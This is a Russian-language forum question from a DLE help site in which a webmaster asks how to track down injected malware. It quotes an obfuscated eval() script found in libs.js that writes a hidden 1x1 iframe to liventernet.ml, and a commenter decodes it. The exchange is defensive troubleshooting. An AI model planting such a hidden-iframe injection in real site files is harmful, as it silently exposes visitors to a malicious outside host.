Не нравятся результаты поиска? Попробуйте другой поиск!
DLE FAQ » Все вопросы » Общие вопросы » Как вычеслить вредоносный код?

Как вычеслить вредоносный код?


     17.03.2016    Все вопросы » Общие вопросы    1942

вопрос
Здравствуйте. На сайте есть вредоносный код, который редиректит фиг знает куда когда заходишь с моб. телефона, но и с компа когда заходишь я нашел iframe через исходный код его не было видно а через иследовать элемент сразу был после тега
body
этот вред. код был вставлен в libs.js Вот сам код
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.b(\'<2 7="5://d.9/" f=1 4=1 8="c" g=0 6=0 a=0 e=h></2>\');',18,18,'||iframe|document|height|http|marginheight|src|style|ml|marginwidth|write|hidden|liventernet|scrolling|width|frameborder|no'.split('|'),0,{}))

А вто сам iframe
<iframe src="http://liventernet.ml/" style="hidden" marginheight="0" marginwidth="0" scrolling="no" frameborder="0" height="1" width="1"></iframe>

Вот вопрос от куда то этот скрипт берёт же этот ифрейм, не могу найти его. Может кто подскажет где он может находится?

Ответа пока нет


2 комментария

Sander
PHP-developer

Sander - 19 марта 2016 02:55 -

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.b(\'<2 7="5://d.9/" f=1 4=1 8="c" g=0 6=0 a=0 e=h></2>\');',18,18,'||iframe|document|height|http|marginheight|src|style|ml|marginwidth|write|hidden|liventernet|scrolling|width|frameborder|no'.split('|'),0,{}))

Это
document.write('<iframe src="http://liventernet.ml/" width=1 height=1 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>');

SanDev.pro - мой блог.

Telegram: @sandev
Skype: Sander8804

Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы

наверх